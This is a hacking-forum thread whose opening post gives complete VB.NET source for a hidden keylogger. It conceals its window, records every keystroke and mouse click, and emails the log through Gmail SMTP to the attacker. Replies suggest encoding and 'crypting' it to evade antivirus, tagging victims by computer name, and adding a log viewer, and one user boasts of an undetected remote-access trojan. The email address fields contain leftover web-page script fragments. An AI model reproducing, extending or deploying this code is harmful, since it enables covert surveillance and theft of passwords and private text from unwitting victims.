keylogger send email

hASVAN

Active Member
Jun 7, 2015
76
40
93
Code:
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Public log As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
Me.ShowInTaskbar = False
Me.ShowIcon = False
Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If (GetAsyncKeyState(65)) Then
log = log + "A"
ElseIf (GetAsyncKeyState(66)) Then
log = log + "B"
ElseIf (GetAsyncKeyState(67)) Then
log = log + "C"
ElseIf (GetAsyncKeyState(68)) Then
log = log + "D"
ElseIf (GetAsyncKeyState(69)) Then
log = log + "E"
ElseIf (GetAsyncKeyState(70)) Then
log = log + "F"
ElseIf (GetAsyncKeyState(71)) Then
log = log + "G"
ElseIf (GetAsyncKeyState(72)) Then
log = log + "H"
ElseIf (GetAsyncKeyState(73)) Then
log = log + "I"
ElseIf (GetAsyncKeyState(74)) Then
log = log + "J"
ElseIf (GetAsyncKeyState(75)) Then
log = log + "K"
ElseIf (GetAsyncKeyState(76)) Then
log = log + "L"
ElseIf (GetAsyncKeyState(77)) Then
log = log + "M"
ElseIf (GetAsyncKeyState(78)) Then
log = log + "N"
ElseIf (GetAsyncKeyState(79)) Then
log = log + "O"
ElseIf (GetAsyncKeyState(80)) Then
log = log + "P"
ElseIf (GetAsyncKeyState(81)) Then
log = log + "Q"
ElseIf (GetAsyncKeyState(82)) Then
log = log + "R"
ElseIf (GetAsyncKeyState(83)) Then
log = log + "S"
ElseIf (GetAsyncKeyState(84)) Then
log = log + "T"
ElseIf (GetAsyncKeyState(85)) Then
log = log + "U"
ElseIf (GetAsyncKeyState(86)) Then
log = log + "V"
ElseIf (GetAsyncKeyState(87)) Then
log = log + "W"
ElseIf (GetAsyncKeyState(88)) Then
log = log + "X"
ElseIf (GetAsyncKeyState(89)) Then
log = log + "Y"
ElseIf (GetAsyncKeyState(90)) Then
log = log + "Z"
ElseIf (GetAsyncKeyState(48)) Then
log = log + "0"
ElseIf (GetAsyncKeyState(49)) Then
log = log + "1"
ElseIf (GetAsyncKeyState(50)) Then
log = log + "2"
ElseIf (GetAsyncKeyState(51)) Then
log = log + "3"
ElseIf (GetAsyncKeyState(52)) Then
log = log + "4"
ElseIf (GetAsyncKeyState(53)) Then
log = log + "5"
ElseIf (GetAsyncKeyState(54)) Then
log = log + "6"
ElseIf (GetAsyncKeyState(55)) Then
log = log + "7"
ElseIf (GetAsyncKeyState(56)) Then
log = log + "8"
ElseIf (GetAsyncKeyState(57)) Then
log = log + "9"
ElseIf (GetAsyncKeyState(96)) Then
log = log + "{Num0}"
ElseIf (GetAsyncKeyState(97)) Then
log = log + "{Num1}"
ElseIf (GetAsyncKeyState(98)) Then
log = log + "{Num2}"
ElseIf (GetAsyncKeyState(99)) Then
log = log + "{Num3}"
ElseIf (GetAsyncKeyState(100)) Then
log = log + "{Num4}"
ElseIf (GetAsyncKeyState(101)) Then
log = log + "{Num5}"
ElseIf (GetAsyncKeyState(102)) Then
log = log + "{Num6}"
ElseIf (GetAsyncKeyState(103)) Then
log = log + "{Num7}"
ElseIf (GetAsyncKeyState(104)) Then
log = log + "{Num8}"
ElseIf (GetAsyncKeyState(105)) Then
log = log + "{Num9}"
ElseIf (GetAsyncKeyState(106)) Then
log = log + "{Num*}"
ElseIf (GetAsyncKeyState(107)) Then
log = log + "{Num+}"
ElseIf (GetAsyncKeyState(13)) Then
log = log + "{Enter}"
ElseIf (GetAsyncKeyState(109)) Then
log = log + "{Num-}"
ElseIf (GetAsyncKeyState(110)) Then
log = log + "{Num.}"
ElseIf (GetAsyncKeyState(111)) Then
log = log + "{Num/}"
ElseIf (GetAsyncKeyState(32)) Then
log = log + " "
ElseIf (GetAsyncKeyState(8)) Then
log = log + "{Backspace}"
ElseIf (GetAsyncKeyState(9)) Then
log = log + "{Tab}"
ElseIf (GetAsyncKeyState(16)) Then
log = log + "{Shift}"
ElseIf (GetAsyncKeyState(17)) Then
log = log + "{Control}"
ElseIf (GetAsyncKeyState(20)) Then
log = log + "{Caps}"
ElseIf (GetAsyncKeyState(27)) Then
log = log + "{Esc}"
ElseIf (GetAsyncKeyState(33)) Then
log = log + "{PGup}"
ElseIf (GetAsyncKeyState(34)) Then
log = log + "{PGdn}"
ElseIf (GetAsyncKeyState(35)) Then
log = log + "{End}"
ElseIf (GetAsyncKeyState(36)) Then
log = log + "{Home}"
ElseIf (GetAsyncKeyState(37)) Then
log = log + "{LArrow}"
ElseIf (GetAsyncKeyState(38)) Then
log = log + "{UArrow}"
ElseIf (GetAsyncKeyState(39)) Then
log = log + "{RArrow}"
ElseIf (GetAsyncKeyState(40)) Then
log = log + "{DArrow}"
ElseIf (GetAsyncKeyState(45)) Then
log = log + "{Insert}"
ElseIf (GetAsyncKeyState(46)) Then
log = log + "{Del}"
ElseIf (GetAsyncKeyState(144)) Then
log = log + "{NumLock}"
ElseIf (GetAsyncKeyState(188)) Then
log = log + "{,}"
ElseIf (GetAsyncKeyState(1)) Then
log = log + "[L]"
ElseIf (GetAsyncKeyState(2)) Then
log = log + "[R]"
End If
End Sub

Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
sendmail()
End Sub

Private Sub sendmail()
Dim Mail As New MailMessage
Mail.Subject = "Keylog"
Mail.To.Add("[email protected]<script cf-hash="f9e31" type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>")
Mail.From = New MailAddress("[email protected]<script cf-hash="f9e31" type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>")
Mail.Body = log
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]<script cf-hash="f9e31" type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>", "password")
SMTP.Port = "587"
SMTP.Send(Mail)
End Sub
End Class

YOU ADD THE CODE IN THE FORM AND ADD TIMER
IN GMAIL DATA YOU NEED TO ADD THE email and Password
 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,845
2
2,199
327
Nice work mate, thank you for sharing. :cool:
It would be sexy to now make a gmail log viewer which automatically accesses the attacker gmail account and loads the logs into a list.
Whenever I used to make RATS, me and my friend always made it a competition to see who could make the best RAT server/client bundle. I remember one of the awesome features of mine was real-time key log viewing. Within the same second someone was typing something, you had it. It made it more exciting and interactive to literally watch someone across the world type.
<insert_more_incriminating_evidence_here>
That was back in the day, I don't really involve myself in personal attacks anymore, I am fine discussing them though. :D
 

Glumanda

Member
Sep 25, 2015
9
14
38
At First: Asphyxia already said "thanks for sharing"
...
but anyway, u should tell the peoples that EMAIL SENDING is more than crap nowdays (and years ago too)

Second: Everyone with a Password with Specialchars is safe against your Keylogger o:
 

Asphyxia.Cell

Member
Aug 13, 2015
25
28
45
Glum, this works as a very simple/basic klog. The source is openly available. The primary purpose of this post, I would say is for education. If you ran everything through base64, sent it through Gmail (free) --- this could totally work fine. Something similar to this anyways. You would probably need to crypt it though. If you have more constructive feedback, that would be appreciated :) thanks and glad to have you on this forum.
I'm positive there is a way to enhance the efficiency of this logger.
 

0day

Contributor
Oct 16, 2015
140
268
148
Yup I have used similar methods before with a more functional keylogger of course. :) This should help some people. Good post.

Also getting the computer name and appending that to the subject line helps when keeping track of multiple clients.

I honestly just store x amount of characters in ram -then send email every x characters- or every x amount of time since last key was pressed- if stored characters are not equal to zero. Also on my rat I can just send out a command to send the stored characters immediately to all clients. I may or may not post a how to on my rat. It is UD on pretty much everything right now. No port forwarding, no parsing info from websites, just pure communication lol (in a way most people do not think of lol.) Controllable from a client or from your phone via php script :-o. Of course it has only been used legally. I sort of want to keep it that way lol. I might explain how it works in a nutshell later on not sure if I want everyone having the source code though lol....
 
Top